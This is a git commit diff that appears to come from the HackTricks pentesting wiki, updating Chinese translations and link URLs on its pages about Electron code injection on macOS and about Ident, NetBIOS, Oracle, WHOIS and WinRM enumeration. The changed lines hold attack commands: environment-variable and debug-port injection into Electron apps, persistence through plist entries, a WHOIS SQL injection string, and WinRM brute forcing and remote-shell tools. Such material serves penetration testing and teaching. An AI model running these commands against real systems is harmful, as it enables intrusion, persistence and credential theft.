Translated ['src/macos-hardening/macos-security-and-privilege-escalation

This commit is contained in:
Translator 2025-01-11 18:52:22 +00:00
parent a44f465a5c
commit a36f395cc8
37 changed files with 523 additions and 515 deletions

View File

@ -289,7 +289,7 @@
- [SmbExec/ScExec](windows-hardening/lateral-movement/smbexec.md) - [SmbExec/ScExec](windows-hardening/lateral-movement/smbexec.md)
- [WinRM](windows-hardening/lateral-movement/winrm.md) - [WinRM](windows-hardening/lateral-movement/winrm.md)
- [WmiExec](windows-hardening/lateral-movement/wmiexec.md) - [WmiExec](windows-hardening/lateral-movement/wmiexec.md)
- [Pivoting to the Cloud$$external:https://cloud.hacktricks.xyz/pentesting-cloud/azure-security/az-lateral-movements$$]() - [Pivoting to the Cloud$$external:https://cloud.hacktricks.wiki/en/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/index.html$$]()
- [Stealing Windows Credentials](windows-hardening/stealing-credentials/README.md) - [Stealing Windows Credentials](windows-hardening/stealing-credentials/README.md)
- [Windows Credentials Protections](windows-hardening/stealing-credentials/credentials-protections.md) - [Windows Credentials Protections](windows-hardening/stealing-credentials/credentials-protections.md)
- [Mimikatz](windows-hardening/stealing-credentials/credentials-mimikatz.md) - [Mimikatz](windows-hardening/stealing-credentials/credentials-mimikatz.md)
@ -692,9 +692,9 @@
# ⛈️ Cloud Security # ⛈️ Cloud Security
- [Pentesting Kubernetes$$external:https://cloud.hacktricks.xyz/pentesting-cloud/kubernetes-security$$]() - [Pentesting Kubernetes$$external:https://cloud.hacktricks.wiki/en/pentesting-cloud/kubernetes-security/index.html$$]()
- [Pentesting Cloud (AWS, GCP, Az...)$$external:https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology$$]() - [Pentesting Cloud (AWS, GCP, Az...)$$external:https://cloud.hacktricks.wiki/en/pentesting-cloud/pentesting-cloud-methodology.html$$]()
- [Pentesting CI/CD (Github, Jenkins, Terraform...)$$external:https://cloud.hacktricks.xyz/pentesting-ci-cd/pentesting-ci-cd-methodology$$]() - [Pentesting CI/CD (Github, Jenkins, Terraform...)$$external:https://cloud.hacktricks.wiki/en/pentesting-ci-cd/pentesting-ci-cd-methodology.html$$]()
# 😎 Hardware/Physical Access # 😎 Hardware/Physical Access

View File

@ -4,24 +4,24 @@
## 基本信息 ## 基本信息
如果你不知道 Electron 是什么,你可以在 [**这里找到很多信息**](https://book.hacktricks.xyz/network-services-pentesting/pentesting-web/xss-to-rce-electron-desktop-apps)。但现在只需知道 Electron 运行 **node**。\ 如果你不知道 Electron 是什么,你可以在 [**这里找到很多信息**](https://book.hacktricks.wiki/en/network-services-pentesting/pentesting-web/electron-desktop-apps/index.html#rce-xss--contextisolation)。但现在只需知道 Electron 运行 **node**。\
而 node 有一些 **参数****环境变量** 可以用来 **执行其他代码**,而不是指定的文件。 而 node 有一些 **参数****环境变量** 可以用来 **执行其他代码**,而不是指定的文件。
### Electron 保护机制 ### Electron 保险丝
这些技术将在接下来讨论,但最近 Electron 添加了几个 **安全标志以防止它们**。这些是 [**Electron 保护机制**](https://www.electronjs.org/docs/latest/tutorial/fuses),用于 **防止** macOS 中的 Electron 应用程序 **加载任意代码** 这些技术将在接下来讨论,但最近 Electron 添加了几个 **安全标志以防止它们**。这些是 [**Electron 保险丝**](https://www.electronjs.org/docs/latest/tutorial/fuses),用于 **防止** macOS 中的 Electron 应用程序 **加载任意代码**
- **`RunAsNode`**:如果禁用,它会阻止使用环境变量 **`ELECTRON_RUN_AS_NODE`** 来注入代码。 - **`RunAsNode`**:如果禁用,它会阻止使用环境变量 **`ELECTRON_RUN_AS_NODE`** 来注入代码。
- **`EnableNodeCliInspectArguments`**:如果禁用,`--inspect``--inspect-brk` 这样的参数将不被尊重。避免通过这种方式注入代码。 - **`EnableNodeCliInspectArguments`**:如果禁用,参数如 `--inspect``--inspect-brk` 将不被尊重。避免通过这种方式注入代码。
- **`EnableEmbeddedAsarIntegrityValidation`**:如果启用,加载的 **`asar`** **文件** 将由 macOS **验证**。以此方式 **防止** 通过修改该文件的内容进行 **代码注入** - **`EnableEmbeddedAsarIntegrityValidation`**:如果启用,加载的 **`asar`** **文件** 将由 macOS **验证**。以此方式 **防止** 通过修改该文件的内容进行 **代码注入**
- **`OnlyLoadAppFromAsar`**:如果启用,它将只检查并使用 app.asar而不是按以下顺序加载**`app.asar`**、**`app`**,最后是 **`default_app.asar`**。因此确保当与 **`embeddedAsarIntegrityValidation`** 保护机制 **结合** 时,**不可能** **加载未验证的代码** - **`OnlyLoadAppFromAsar`**:如果启用,它将只检查并使用 app.asar而不是按以下顺序加载**`app.asar`**、**`app`**,最后是 **`default_app.asar`**。因此确保当与 **`embeddedAsarIntegrityValidation`** 保险丝 **结合** 使用时,**不可能** **加载未验证的代码**
- **`LoadBrowserProcessSpecificV8Snapshot`**:如果启用,浏览器进程使用名为 `browser_v8_context_snapshot.bin` 的文件作为其 V8 快照。 - **`LoadBrowserProcessSpecificV8Snapshot`**:如果启用,浏览器进程使用名为 `browser_v8_context_snapshot.bin` 的文件作为其 V8 快照。
另一个有趣的保护机制不会防止代码注入的是: 另一个有趣的保险丝不会阻止代码注入的是:
- **EnableCookieEncryption**:如果启用,磁盘上的 cookie 存储将使用操作系统级别的加密密钥进行加密。 - **EnableCookieEncryption**:如果启用,磁盘上的 cookie 存储将使用操作系统级别的加密密钥进行加密。
### 检查 Electron 保护机制 ### 检查 Electron 保险丝
你可以通过以下方式 **检查这些标志** 你可以通过以下方式 **检查这些标志**
```bash ```bash
@ -39,18 +39,18 @@ LoadBrowserProcessSpecificV8Snapshot is Disabled
``` ```
### 修改 Electron Fuses ### 修改 Electron Fuses
如[**文档所述**](https://www.electronjs.org/docs/latest/tutorial/fuses#runasnode)**Electron Fuses**的配置是在包含字符串**`dL7pKGdnNz796PbbjQWNKmHXBZaB9tsX`**的**Electron 二进制文件**内部配置的 正如 [**文档提到的**](https://www.electronjs.org/docs/latest/tutorial/fuses#runasnode)**Electron Fuses** 的配置是在 **Electron binary** 内部配置的,其中包含字符串 **`dL7pKGdnNz796PbbjQWNKmHXBZaB9tsX`**。
在 macOS 应用程序中,这通常位于`application.app/Contents/Frameworks/Electron Framework.framework/Electron Framework` 在 macOS 应用程序中,这通常位于 `application.app/Contents/Frameworks/Electron Framework.framework/Electron Framework`
```bash ```bash
grep -R "dL7pKGdnNz796PbbjQWNKmHXBZaB9tsX" Slack.app/ grep -R "dL7pKGdnNz796PbbjQWNKmHXBZaB9tsX" Slack.app/
Binary file Slack.app//Contents/Frameworks/Electron Framework.framework/Versions/A/Electron Framework matches Binary file Slack.app//Contents/Frameworks/Electron Framework.framework/Versions/A/Electron Framework matches
``` ```
您可以在 [https://hexed.it/](https://hexed.it/) 中加载此文件并搜索前面的字符串。在此字符串后,您可以在 ASCII 中看到数字 "0" 或 "1",指示每个保险丝是禁用还是启用。只需修改十六进制代码(`0x30``0``0x31``1`)以 **修改保险丝值** 您可以在 [https://hexed.it/](https://hexed.it/) 中加载此文件并搜索前面的字符串。在此字符串后,您可以在 ASCII 中看到数字 "0" 或 "1",指示每个保险丝是禁用还是启用。只需修改十六进制代码(`0x30``0``0x31``1`)以 **修改保险丝值**
<figure><img src="../../../images/image (34).png" alt=""><figcaption></figcaption></figure> <figure><img src="../../../images/image (34).png" alt=""><figcaption></figcaption></figure>
请注意,如果您尝试 **覆盖** 应用程序内部**`Electron Framework`** 二进制文件并修改这些字节,则应用程序将无法运行。 请注意,如果您尝试 **覆盖** 应用程序中已修改字节**`Electron Framework`** 二进制文件,则应用程序将无法运行。
## RCE 向 Electron 应用程序添加代码 ## RCE 向 Electron 应用程序添加代码
@ -60,7 +60,7 @@ Binary file Slack.app//Contents/Frameworks/Electron Framework.framework/Versions
> 但是,目前有两个限制: > 但是,目前有两个限制:
> >
> - 修改应用程序需要 **`kTCCServiceSystemPolicyAppBundles`** 权限,因此默认情况下这不再可能。 > - 修改应用程序需要 **`kTCCServiceSystemPolicyAppBundles`** 权限,因此默认情况下这不再可能。
> - 编译后的 **`asap`** 文件通常具有 **`embeddedAsarIntegrityValidation`** 和 **`onlyLoadAppFromAsar`** 权限 `启用` > - 编译后的 **`asap`** 文件通常具有 **`embeddedAsarIntegrityValidation`** `` **`onlyLoadAppFromAsar`** `启用`
> >
> 使得此攻击路径更加复杂(或不可能)。 > 使得此攻击路径更加复杂(或不可能)。
@ -70,7 +70,7 @@ Binary file Slack.app//Contents/Frameworks/Electron Framework.framework/Versions
```bash ```bash
npx asar extract app.asar app-decomp npx asar extract app.asar app-decomp
``` ```
并在修改后重新打包 将其打包回去,修改为
```bash ```bash
npx asar pack app-decomp app-new.asar npx asar pack app-decomp app-new.asar
``` ```
@ -88,7 +88,7 @@ require('child_process').execSync('/System/Applications/Calculator.app/Contents/
### 从应用程序 Plist 注入 ### 从应用程序 Plist 注入
正如 [**这里提到的**](https://www.trustedsec.com/blog/macos-injection-via-third-party-frameworks/),您可以在 plist 中滥用环境变量以保持持久性: 正如 [**这里提到的**](https://www.trustedsec.com/blog/macos-injection-via-third-party-frameworks/),您可以在 plist 中滥用这个环境变量以保持持久性:
```xml ```xml
<?xml version="1.0" encoding="UTF-8"?> <?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd"> <!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
@ -129,7 +129,7 @@ NODE_OPTIONS="--require /tmp/payload.js" ELECTRON_RUN_AS_NODE=1 /Applications/Di
### 从 App Plist 注入 ### 从 App Plist 注入
您可以在 plist 中滥用此环境变量,通过添加下键来保持持久性: 您可以在 plist 中滥用此环境变量以保持持久性,添加以下键
```xml ```xml
<dict> <dict>
<key>EnvironmentVariables</key> <key>EnvironmentVariables</key>
@ -147,7 +147,7 @@ NODE_OPTIONS="--require /tmp/payload.js" ELECTRON_RUN_AS_NODE=1 /Applications/Di
``` ```
## RCE with inspecting ## RCE with inspecting
根据[**这个**](https://medium.com/@metnew/why-electron-apps-cant-store-your-secrets-confidentially-inspect-option-a49950d6d51f)的说法,如果你使用 **`--inspect`**、**`--inspect-brk`** 和 **`--remote-debugging-port`** 等标志执行 Electron 应用程序,将会 **打开一个调试端口**,这样你就可以连接到它(例如从 Chrome 的 `chrome://inspect`)并且你将能够 **在其上注入代码**,甚至启动新进程。\ 根据[**this**](https://medium.com/@metnew/why-electron-apps-cant-store-your-secrets-confidentially-inspect-option-a49950d6d51f),如果你使用 **`--inspect`**、**`--inspect-brk`** 和 **`--remote-debugging-port`** 等标志执行 Electron 应用程序,将会 **打开一个调试端口**,这样你就可以连接到它(例如从 Chrome 的 `chrome://inspect`并且你将能够 **在其上注入代码**,甚至启动新进程。\
例如: 例如:
```bash ```bash
/Applications/Signal.app/Contents/MacOS/Signal --inspect=9229 /Applications/Signal.app/Contents/MacOS/Signal --inspect=9229
@ -187,21 +187,21 @@ print(ws.recv()
<true/> <true/>
</dict> </dict>
``` ```
## TCC 绕过旧版本的滥用 ## TCC Bypass abusing Older Versions
> [!TIP] > [!TIP]
> macOS 的 TCC 守护进程不会检查应用程序的执行版本。因此,如果 **无法在 Electron 应用程序中注入代码**可以下载该应用的旧版本并在其上注入代码,因为它仍然会获得 TCC 权限(除非 Trust Cache 阻止它)。 > macOS 的 TCC 守护进程不会检查应用程序的执行版本。因此,如果 **无法在 Electron 应用程序中注入代码**,可以下载该应用的旧版本并在其上注入代码,因为它仍然会获得 TCC 权限(除非信任缓存阻止它)。
## 运行非 JS 代码 ## Run non JS Code
之前的技术将允许你在 **Electron 应用程序的进程中运行 JS 代码**。然而,请记住,**子进程在与父应用程序相同的沙箱配置文件下运行**,并且 **继承它们的 TCC 权限**。\ 之前的技术将允许您在 **Electron 应用程序的进程中运行 JS 代码**。但是,请记住,**子进程在与父应用程序相同的沙箱配置文件下运行**,并且 **继承它们的 TCC 权限**。\
因此,如果你想滥用权限访问相机或麦克风,例如,你可以直接 **从进程中运行另一个二进制文件** 因此,如果您想利用权限访问相机或麦克风,例如,您可以直接 **从进程中运行另一个二进制文件**
## 自动注入 ## Automatic Injection
工具 [**electroniz3r**](https://github.com/r3ggi/electroniz3r) 可以轻松用于 **查找已安装的易受攻击的 Electron 应用程序** 并在其上注入代码。该工具将尝试使用 **`--inspect`** 技术: 工具 [**electroniz3r**](https://github.com/r3ggi/electroniz3r) 可以轻松用于 **查找已安装的易受攻击的 Electron 应用程序** 并在其上注入代码。该工具将尝试使用 **`--inspect`** 技术:
需要自己编译它,可以这样使用: 需要自己编译它,可以这样使用:
```bash ```bash
# Find electron apps # Find electron apps
./electroniz3r list-apps ./electroniz3r list-apps
@ -237,7 +237,7 @@ You can now kill the app using `kill -9 57739`
The webSocketDebuggerUrl is: ws://127.0.0.1:13337/8e0410f0-00e8-4e0e-92e4-58984daf37e5 The webSocketDebuggerUrl is: ws://127.0.0.1:13337/8e0410f0-00e8-4e0e-92e4-58984daf37e5
Shell binding requested. Check `nc 127.0.0.1 12345` Shell binding requested. Check `nc 127.0.0.1 12345`
``` ```
## 参考文献 ## 参考
- [https://www.electronjs.org/docs/latest/tutorial/fuses](https://www.electronjs.org/docs/latest/tutorial/fuses) - [https://www.electronjs.org/docs/latest/tutorial/fuses](https://www.electronjs.org/docs/latest/tutorial/fuses)
- [https://www.trustedsec.com/blog/macos-injection-via-third-party-frameworks](https://www.trustedsec.com/blog/macos-injection-via-third-party-frameworks) - [https://www.trustedsec.com/blog/macos-injection-via-third-party-frameworks](https://www.trustedsec.com/blog/macos-injection-via-third-party-frameworks)

View File

@ -4,7 +4,7 @@
## 基本信息 ## 基本信息
**Ident协议**用于通过**互联网**将**TCP连接**与特定用户关联。最初设计用于帮助**网络管理**和**安全**它通过允许服务器在113端口查询客户端以请求有关特定TCP连接用户的信息来操作。 **Ident Protocol** 是通过 **Internet****TCP 连接** 与特定用户关联的协议。最初设计用于 **网络管理****安全**,它通过允许服务器在端口 113 上查询客户端以请求有关特定 TCP 连接用户的信息来操作。
然而,由于现代隐私问题和潜在的滥用,其使用已减少,因为它可能无意中向未经授权的方泄露用户信息。建议采取增强的安全措施,例如加密连接和严格的访问控制,以减轻这些风险。 然而,由于现代隐私问题和潜在的滥用,其使用已减少,因为它可能无意中向未经授权的方泄露用户信息。建议采取增强的安全措施,例如加密连接和严格的访问控制,以减轻这些风险。
@ -21,7 +21,7 @@ PORT STATE SERVICE
![](<../images/image (843).png>) ![](<../images/image (843).png>)
如果你在连接到服务时按回车: 如果你在连接到服务时直接按回车:
![](<../images/image (159).png>) ![](<../images/image (159).png>)
@ -31,7 +31,7 @@ PORT STATE SERVICE
### Nmap ### Nmap
默认情况下(\`-sC\`nmap 将识别每个运行端口的每个用户: 默认情况下(\`-sC\`\`nmap 将识别每个运行端口的每个用户:
``` ```
PORT STATE SERVICE VERSION PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 4.3p2 Debian 9 (protocol 2.0) 22/tcp open ssh OpenSSH 4.3p2 Debian 9 (protocol 2.0)
@ -78,7 +78,7 @@ Description: Notes for Ident
Note: | Note: |
The Ident Protocol is used over the Internet to associate a TCP connection with a specific user. Originally designed to aid in network management and security, it operates by allowing a server to query a client on port 113 to request information about the user of a particular TCP connection. The Ident Protocol is used over the Internet to associate a TCP connection with a specific user. Originally designed to aid in network management and security, it operates by allowing a server to query a client on port 113 to request information about the user of a particular TCP connection.
https://book.hacktricks.xyz/pentesting/113-pentesting-ident https://book.hacktricks.wiki/en/network-services-pentesting/113-pentesting-ident.html
Entry_2: Entry_2:
Name: Enum Users Name: Enum Users

View File

@ -2,17 +2,17 @@
{{#include ../banners/hacktricks-training.md}} {{#include ../banners/hacktricks-training.md}}
## NetBios 名称服务 ## NetBios Name Service
**NetBIOS 名称服务** 在其中扮演着至关重要的角色,涉及各种服务,如 **名称注册和解析**、**数据报分发** 和 **会话服务**,为每项服务利用特定端口。 **NetBIOS Name Service** 在其中扮演着至关重要的角色,涉及各种服务,如 **名称注册和解析**、**数据报分发** 和 **会话服务**,为每项服务利用特定端口。
[来自维基百科](https://en.wikipedia.org/wiki/NetBIOS_over_TCP/IP): [From Wikidepia](https://en.wikipedia.org/wiki/NetBIOS_over_TCP/IP):
- 用于名称注册和解析的名称服务端口137/udp 和 137/tcp - 用于名称注册和解析的名称服务端口137/udp 和 137/tcp
- 用于无连接通信的数据报分发服务端口138/udp - 用于无连接通信的数据报分发服务端口138/udp
- 用于面向连接通信的会话服务端口139/tcp - 用于面向连接通信的会话服务端口139/tcp
### 名称服务 ### Name Service
为了使设备能够参与 NetBIOS 网络,它必须具有唯一名称。这是通过 **广播过程** 实现的,其中发送一个 "名称查询" 数据包。如果没有收到异议,则该名称被视为可用。或者,可以直接查询 **名称服务服务器** 以检查名称的可用性或将名称解析为 IP 地址。工具如 `nmblookup``nbtscan``nmap` 被用于枚举 NetBIOS 服务,揭示服务器名称和 MAC 地址。 为了使设备能够参与 NetBIOS 网络,它必须具有唯一名称。这是通过 **广播过程** 实现的,其中发送一个 "名称查询" 数据包。如果没有收到异议,则该名称被视为可用。或者,可以直接查询 **名称服务服务器** 以检查名称的可用性或将名称解析为 IP 地址。工具如 `nmblookup``nbtscan``nmap` 被用于枚举 NetBIOS 服务,揭示服务器名称和 MAC 地址。
```bash ```bash
@ -36,9 +36,9 @@ PORT STATE SERVICE VERSION
对于面向连接的交互,**Session Service** 促进了两个设备之间的对话,通过 **TCP** 连接利用端口 **139/tcp**。会话以 "Session Request" 数据包开始并可以根据响应建立。该服务支持更大的消息、错误检测和恢复TCP 处理流控制和数据包重传。 对于面向连接的交互,**Session Service** 促进了两个设备之间的对话,通过 **TCP** 连接利用端口 **139/tcp**。会话以 "Session Request" 数据包开始并可以根据响应建立。该服务支持更大的消息、错误检测和恢复TCP 处理流控制和数据包重传。
会话内的数据传输涉及 **Session Message packets**,会话通过关闭 TCP 连接终止。 会话内的数据传输涉及 **Session Message packets**,会话通过关闭 TCP 连接终止。
这些服务是 **NetBIOS** 功能的核心,能够在网络中实现高效的通信和资源共享。有关 TCP 和 IP 协议的更多信息,请参阅各自的 [TCP Wikipedia](https://en.wikipedia.org/wiki/Transmission_Control_Protocol) 和 [IP Wikipedia](https://en.wikipedia.org/wiki/Internet_Protocol) 页面。 这些服务是 **NetBIOS** 功能的核心,能够在网络中实现高效的通信和资源共享。有关 TCP 和 IP 协议的更多信息,请参阅它们各自的 [TCP Wikipedia](https://en.wikipedia.org/wiki/Transmission_Control_Protocol) 和 [IP Wikipedia](https://en.wikipedia.org/wiki/Internet_Protocol) 页面。
```bash ```bash
PORT STATE SERVICE VERSION PORT STATE SERVICE VERSION
139/tcp open netbios-ssn Microsoft Windows netbios-ssn 139/tcp open netbios-ssn Microsoft Windows netbios-ssn
@ -65,7 +65,7 @@ Session service for connection-oriented communication (port: 139/tcp).
For a device to participate in a NetBIOS network, it must have a unique name. This is achieved through a broadcast process where a "Name Query" packet is sent. If no objections are received, the name is considered available. Alternatively, a Name Service server can be queried directly to check for name availability or to resolve a name to an IP address. For a device to participate in a NetBIOS network, it must have a unique name. This is achieved through a broadcast process where a "Name Query" packet is sent. If no objections are received, the name is considered available. Alternatively, a Name Service server can be queried directly to check for name availability or to resolve a name to an IP address.
https://book.hacktricks.xyz/pentesting/137-138-139-pentesting-netbios https://book.hacktricks.wiki/en/network-services-pentesting/137-138-139-pentesting-netbios.html
Entry_2: Entry_2:
Name: Find Names Name: Find Names

View File

@ -51,7 +51,7 @@ cd odat-libc2.12-x86_64/
for more details check https://github.com/quentinhardy/odat/wiki for more details check https://github.com/quentinhardy/odat/wiki
https://book.hacktricks.xyz/pentesting/1521-1522-1529-pentesting-oracle-listener https://book.hacktricks.wiki/en/network-services-pentesting/1521-1522-1529-pentesting-oracle-listener.html
Entry_2: Entry_2:
Name: Nmap Name: Nmap

View File

@ -4,7 +4,7 @@
## 基本信息 ## 基本信息
Oracle 数据库 (Oracle DB) 是甲骨文公司 (来自 [这里](https://www.techopedia.com/definition/8711/oracle-database)) 的关系数据库管理系统 (RDBMS)。 Oracle 数据库 (Oracle DB) 是来自 Oracle Corporation 的关系数据库管理系统 (RDBMS) (来自 [这里](https://www.techopedia.com/definition/8711/oracle-database))。
在枚举 Oracle 时,第一步是与通常位于默认端口 (1521/TCP-您也可能在 15221529 上获得次级监听器-) 的 TNS-Listener 进行通信。 在枚举 Oracle 时,第一步是与通常位于默认端口 (1521/TCP-您也可能在 15221529 上获得次级监听器-) 的 TNS-Listener 进行通信。
``` ```
@ -51,7 +51,7 @@ cd odat-libc2.12-x86_64/
for more details check https://github.com/quentinhardy/odat/wiki for more details check https://github.com/quentinhardy/odat/wiki
https://book.hacktricks.xyz/pentesting/1521-1522-1529-pentesting-oracle-listener https://book.hacktricks.wiki/en/network-services-pentesting/1521-1522-1529-pentesting-oracle-listener.html
Entry_2: Entry_2:
Name: Nmap Name: Nmap

View File

@ -4,7 +4,7 @@
## 基本信息 ## 基本信息
**WHOIS** 协议作为一种标准方法,通过特定数据库 **查询各种互联网资源的注册人或持有者**。这些资源包括域名、IP地址块和自治系统等。除此之外该协议还用于访问更广泛的信息。 **WHOIS** 协议作为一种标准方法,用于 **查询各种互联网资源的注册人或持有者**,通过特定的数据库。这些资源包括域名、IP地址块和自治系统等。除此之外该协议还用于访问更广泛的信息。
**默认端口:** 43 **默认端口:** 43
``` ```
@ -18,11 +18,11 @@ PORT STATE SERVICE
whois -h <HOST> -p <PORT> "domain.tld" whois -h <HOST> -p <PORT> "domain.tld"
echo "domain.ltd" | nc -vn <HOST> <PORT> echo "domain.ltd" | nc -vn <HOST> <PORT>
``` ```
注意有时在请求WHOIS服务的一些信息时,使用的数据库会出现在响应中: 注意有时在请求WHOIS服务的信息时使用的数据库会出现在响应中:
![](<../images/image (301).png>) ![](<../images/image (301).png>)
此外WHOIS服务始终需要使用**数据库**来存储和提取信息。因此,当**查询**用户提供的一些信息时,可能会存在**SQL注入**的风险。例如,执行:`whois -h 10.10.10.155 -p 43 "a') or 1=1#"`可能能够**提取所有**存储在数据库中的**信息**。 此外WHOIS服务始终需要使用一个**数据库**来存储和提取信息。因此,当**查询**用户提供的一些信息时,可能会存在**SQL注入**的风险。例如,执行:`whois -h 10.10.10.155 -p 43 "a') or 1=1#"`可能能够**提取所有**存储在数据库中的**信息**。
## Shodan ## Shodan
@ -41,7 +41,7 @@ Note: |
The WHOIS protocol serves as a standard method for inquiring about the registrants or holders of various Internet resources through specific databases. These resources encompass domain names, blocks of IP addresses, and autonomous systems, among others. Beyond these, the protocol finds application in accessing a broader spectrum of information. The WHOIS protocol serves as a standard method for inquiring about the registrants or holders of various Internet resources through specific databases. These resources encompass domain names, blocks of IP addresses, and autonomous systems, among others. Beyond these, the protocol finds application in accessing a broader spectrum of information.
https://book.hacktricks.xyz/pentesting/pentesting-smtp https://book.hacktricks.wiki/en/network-services-pentesting/pentesting-smtp/index.html
Entry_2: Entry_2:
Name: Banner Grab Name: Banner Grab

View File

@ -9,7 +9,7 @@
有关更多信息,请查看: 有关更多信息,请查看:
{{#ref}} {{#ref}}
https://cloud.hacktricks.xyz/pentesting-cloud/aws-security/aws-services/aws-databases/aws-redshift-enum https://cloud.hacktricks.wiki/en/pentesting-cloud/aws-security/aws-services/aws-redshift-enum.html
{{#endref}} {{#endref}}
{{#include ../banners/hacktricks-training.md}} {{#include ../banners/hacktricks-training.md}}

View File

@ -4,9 +4,9 @@
## WinRM ## WinRM
[Windows Remote Management (WinRM)](<https://msdn.microsoft.com/en-us/library/windows/desktop/aa384426(v=vs.85).aspx>) 被强调为 **Microsoft 的协议**,它通过 HTTP(S) 实现 **Windows 系统的远程管理**,并在此过程中利用 SOAP。它基本上由 WMI 驱动,呈现为 WMI 操作的基于 HTTP 的接口。 [Windows Remote Management (WinRM)](<https://msdn.microsoft.com/en-us/library/windows/desktop/aa384426(v=vs.85).aspx>) 被强调为 **微软** 的 **协议**,它通过 HTTP(S) 实现 **Windows 系统的远程管理**,并在此过程中利用 SOAP。它基本上由 WMI 驱动,呈现为 WMI 操作的基于 HTTP 的接口。
机器上存在 WinRM 允许通过 PowerShell 进行简单的远程管理,类似于 SSH 在其他操作系统中的工作方式。要确定 WinRM 是否正常运行,建议检查特定端口的开情况: 机器上存在 WinRM 允许通过 PowerShell 进行简单的远程管理,类似于 SSH 在其他操作系统中的工作方式。要确定 WinRM 是否正常运行,建议检查特定端口的开情况:
- **5985/tcp (HTTP)** - **5985/tcp (HTTP)**
- **5986/tcp (HTTPS)** - **5986/tcp (HTTPS)**
@ -15,24 +15,24 @@
### **启动 WinRM 会话** ### **启动 WinRM 会话**
要为 WinRM 配置 PowerShellMicrosoft `Enable-PSRemoting` cmdlet 被使用,以设置计算机接受远程 PowerShell 命令。通过提升的 PowerShell 访问权限,可以执行以下命令以启用此功能并将任何主机指定为受信任: 要为 WinRM 配置 PowerShell微软`Enable-PSRemoting` cmdlet 被使用,以设置计算机接受远程 PowerShell 命令。通过提升的 PowerShell 访问权限,可以执行以下命令以启用此功能并将任何主机指定为受信任:
```powershell ```powershell
Enable-PSRemoting -Force Enable-PSRemoting -Force
Set-Item wsman:\localhost\client\trustedhosts * Set-Item wsman:\localhost\client\trustedhosts *
``` ```
这种方法涉及在 `trustedhosts` 配置中添加通配符,这一步骤需要谨慎考虑其影响。还注意到,可能需要在攻击者的机器上将网络类型从 "Public" 更改为 "Work" 这种方法涉及在 `trustedhosts` 配置中添加通配符,这一步骤需要谨慎考虑其影响。还需要注意的是,可能需要将攻击者机器上的网络类型从“公共”更改为“工作”
此外,可以使用 `wmic` 命令**远程激活** WinRM示例如下 此外,可以使用 `wmic` 命令**远程激活** WinRM示例如下
```powershell ```powershell
wmic /node:<REMOTE_HOST> process call create "powershell enable-psremoting -force" wmic /node:<REMOTE_HOST> process call create "powershell enable-psremoting -force"
``` ```
方法允许远程设置 WinRM从而增强了远程管理 Windows 机器的灵活性。 这种方法允许远程设置 WinRM从而增强了远程管理 Windows 机器的灵活性。
### 测试是否已配置 ### 测试是否已配置
验证攻击机器的设置,使用 `Test-WSMan` 命令检查目标是否正确配置了 WinRM。通过执行此命令您应该期望收到有关协议版本和 wsmid 的详细信息,指示配置成功。以下是演示已配置目标与未配置目标预期输出的示例: 为了验证攻击机器的设置,使用 `Test-WSMan` 命令检查目标是否正确配置了 WinRM。通过执行此命令您应该期望收到有关协议版本和 wsmid 的详细信息,指示配置成功。以下是演示已配置目标与未配置目标预期输出的示例:
- 对于一个 **已** 正确配置的目标,输出将类似于: - 对于**已**正确配置的目标,输出将类似于以下内容
```bash ```bash
Test-WSMan <target-ip> Test-WSMan <target-ip>
``` ```
@ -89,13 +89,13 @@ Exit-PSSession # This will leave it in background if it's inside an env var (New
### **强制打开 WinRM** ### **强制打开 WinRM**
要使用 PS Remoting 和 WinRM但计算机未配置可以通过以下方式启用它 要使用 PS Remoting 和 WinRM但计算机未配置可以通过以下方式启用它:
```powershell ```powershell
.\PsExec.exe \\computername -u domain\username -p password -h -d powershell.exe "enable-psremoting -force" .\PsExec.exe \\computername -u domain\username -p password -h -d powershell.exe "enable-psremoting -force"
``` ```
### 保存和恢复会话 ### 保存和恢复会话
如果远程计算机中的**语言**受到**限制**,则此**将不起作用** 如果远程计算机**语言****限制**,则此 **方法** **无效**
```powershell ```powershell
#If you need to use different creds #If you need to use different creds
$password=ConvertTo-SecureString 'Stud41Password@123' -Asplaintext -force $password=ConvertTo-SecureString 'Stud41Password@123' -Asplaintext -force
@ -122,11 +122,11 @@ Invoke-Command -FilePath C:\Path\to\script.ps1 -Session $sess1
winrm quickconfig winrm quickconfig
winrm set winrm/config/client '@{TrustedHosts="Computer1,Computer2"}' winrm set winrm/config/client '@{TrustedHosts="Computer1,Computer2"}'
``` ```
## 在Linux中连接WinRM ## WinRM 连接 Linux
### 暴力破解 ### 暴力破解
请小心暴力破解winrm可能会阻止用户。 请小心,暴力破解 winrm 可能会阻止用户。
```ruby ```ruby
#Brute force #Brute force
crackmapexec winrm <IP> -d <Domain Name> -u usernames.txt -p passwords.txt crackmapexec winrm <IP> -d <Domain Name> -u usernames.txt -p passwords.txt
@ -142,7 +142,7 @@ crackmapexec winrm <IP> -d <Domain Name> -u <username> -H <HASH> -X '$PSVersionT
```ruby ```ruby
gem install evil-winrm gem install evil-winrm
``` ```
阅读其 GitHub 上的 **文档**: [https://github.com/Hackplayers/evil-winrm](https://github.com/Hackplayers/evil-winrm) 阅读**文档**在其github上: [https://github.com/Hackplayers/evil-winrm](https://github.com/Hackplayers/evil-winrm)
```ruby ```ruby
evil-winrm -u Administrator -p 'EverybodyWantsToWorkAtP.O.O.' -i <IP>/<Domain> evil-winrm -u Administrator -p 'EverybodyWantsToWorkAtP.O.O.' -i <IP>/<Domain>
``` ```
@ -254,11 +254,13 @@ s = winrm.Session('windows-host.example.com', auth=('john.smith', 'secret'))
print(s.run_cmd('ipconfig')) print(s.run_cmd('ipconfig'))
print(s.run_ps('ipconfig')) print(s.run_ps('ipconfig'))
https://book.hacktricks.xyz/pentesting/pentesting-winrm https://book.hacktricks.wiki/en/network-services-pentesting/5985-5986-pentesting-winrm.html
Entry_2: Entry_2:
Name: Hydra Brute Force Name: Hydra Brute Force
Description: Need User Description: Need User
Command: hydra -t 1 -V -f -l {Username} -P {Big_Passwordlist} rdp://{IP} Command: hydra -t 1 -V -f -l {Username} -P {Big_Passwordlist} rdp://{IP}
``` ```
{{#include ../banners/hacktricks-training.md}} {{#include ../banners/hacktricks-training.md}}

View File

@ -18,7 +18,7 @@
